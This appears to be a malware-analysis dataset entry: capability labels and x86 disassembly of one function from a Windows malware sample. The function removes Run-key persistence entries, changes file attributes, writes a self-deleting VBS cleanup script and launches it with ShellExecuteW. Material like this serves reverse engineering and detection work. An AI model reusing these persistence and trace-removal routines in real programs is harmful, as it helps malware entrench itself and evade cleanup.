Function at 0x40c62e
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
sub esp, 0x29c
push ebx
push ebp
push esi
push edi
call fcn.00411de8
cmp dword [0x474094], 0
je 0x40c650
mov ecx, 0x474048
call fcn.0040aeb0
xor ebx, ebx
inc ebx
cmp byte [0x471d63], bl
jne 0x40c660
call fcn.00418c67
cmp byte [0x471a85], 0
je 0x40c67a
mov ecx, 0x473d48
call fcn.00401ee4
mov ecx, eax
call fcn.0041b282
mov esi, 0x474218
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0x471b33], bl
jne 0x40c6a1
mov ecx, esi
call fcn.00401ee4
push eax
mov edx, edi
mov ecx, closesocket
call fcn.00412d60
pop ecx
mov ebp, closesocket
cmp byte [0x471b30], bl
jne 0x40c6c0
mov ecx, esi
call fcn.00401ee4
push eax
mov edx, edi
mov ecx, ebp
call fcn.00412d60
pop ecx
cmp byte [0x471b31], bl
jne 0x40c6dd
mov ecx, esi
call fcn.00401ee4
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, ebp
call fcn.00412d60
pop ecx
mov ebx, 0x208
lea eax, [esp + 0xa0]
push ebx
xor edi, edi
push edi
push eax
call fcn.00435e50
add esp, 0xc
mov esi, 0x474290
mov ecx, esi
call fcn.0040245c
push eax
mov ecx, esi
call fcn.00401f8b
push eax
push ebx
lea eax, [esp + 0xac]
mov esi, 0x474248
push eax
push str.exepath
mov ecx, esi
call fcn.00401f8b
mov edx, eax
call fcn.00412a35
add esp, 0x14
test al, al
jne 0x40c743
push ebx
lea eax, [esp + 0xa4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, esi
call fcn.00401f8b
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ebp, 0x465438
mov ebx, 0x474260
mov edx, ebp
mov ecx, ebx
call fcn.00406e2b
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test al, al
je 0x40c782
push 0x80
mov ecx, ebx
call fcn.00401ee4
push eax
call esi
push 0x80
lea eax, [esp + 0xa4]
push eax
call esi
mov ebx, eax
lea ecx, [esp + 0x10]
neg ebx
push str..vbs
sbb bl, bl
call fcn.0041ab4b
mov edx, eax
lea ecx, [esp + 0x44]
call fcn.0041ae31
mov edx, eax
lea ecx, [esp + 0x8c]
call fcn.00402ff4
pop ecx
lea ecx, [esp + 0x40]
call fcn.00401ee9
lea ecx, [esp + 0x10]
call fcn.00401fb8
lea eax, [esp + 0x88]
push eax
push 0x4655d8
push 0x465f58
call fcn.0043b05f
pop ecx
push eax
lea ecx, [esp + 0x4c]
call fcn.0040415e
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.004042fd
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x14]
call fcn.0040415e
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x2c]
call fcn.004042dc
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401ee9
and bl, 1
je 0x40c8a0
push 0x466000
lea eax, [esp + 0xa4]
push eax
lea ecx, [esp + 0x60]
call fcn.0040415e
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.004042dc
pop ecx
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.0040323d
lea ecx, [esp + 0x10]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
lea ecx, [esp + 0x58]
call fcn.00401ee9
push 0x466038
lea eax, [esp + 0xa4]
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x4c]
call fcn.0040415e
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.0040323d
lea ecx, [esp + 0x58]
call fcn.00401ee9
lea ecx, [esp + 0x10]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
test bl, bl
je 0x40c90a
push str.wend_n
lea ecx, [esp + 0x2c]
call fcn.004086c6
mov esi, 0x474260
mov edx, ebp
mov ecx, esi
call fcn.00406e2b
test al, al
je 0x40c959
push 0x466038
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x18]
call fcn.0040af80
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.0040323d
lea ecx, [esp + 0x58]
call fcn.00401ee9
lea ecx, [esp + 0x10]
call fcn.00401ee9
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x2c]
call fcn.004086c6
push edi
lea ecx, [esp + 0x74]
call fcn.00401ee4
push eax
lea ecx, [esp + 0x30]
call fcn.0040245c
mov esi, eax
lea ecx, [esp + 0x30]
add esi, esi
call fcn.00401ee4
mov edx, esi
mov ecx, eax
call fcn.0041b3e2
pop ecx
pop ecx
test al, al
je 0x40c9b0
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00401ee4
push eax
push 0x4650d8
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]